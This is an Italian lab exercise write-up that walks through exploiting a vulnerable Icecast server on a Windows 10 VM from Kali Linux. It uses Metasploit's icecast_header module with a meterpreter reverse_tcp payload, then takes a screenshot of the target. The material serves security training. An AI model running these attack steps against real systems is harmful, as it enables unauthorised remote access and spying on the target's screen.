

ICECAST

Icecast è un software libero per creare server di media streaming, permette di inviare flussi di dati audio e video ai dispositivi che ne fanno richiesta. Quindi in questo esercizio lo utilizzeremo per entrare nella macchina con windows 10 pro. Per prima cosa mettiamo tutte e due le macchine, quindi kali linux e windows 10 pro, sulla stessa rete quindi rete con bridge. Una volta fatto verifichiamo il ping tra le due macchine per vedere se sono connesse, una volta confermato apriamo icecast su windows 10 e lo facciamo partire. Dopodichè avviamo Metasploit con il comando "msfconsole" e cerchiamo degli exploit contro icecast con il comando "search icecast", ne uscirà solo uno e quindi utilizziamo quello: ("use windows/http/icecast_header"). Una volta utilizzato carichiamo il payload per utilizzare meterpreter "set payload windows/meterpreter/reverse_tcp", utilizziamo il comando "show options" per vedere cosa richiede per funzionare correttamente, in questo caso ha bisogno di un RHOSTS e un LHOST. Il RHOSTS è l'indirizzo IP della macchina target mentre LHOST è quello della macchina che attacca. Dopo averli messi utilizziamo il comando "exploit" e siamo dentro. Per vedere l'indirizzo ip utilizziamo il comando "ipconfig" mentre per fare uno screenshot utilizziamo il comando "screenshot" e verrà salvato direttamente sulla home di kali linux.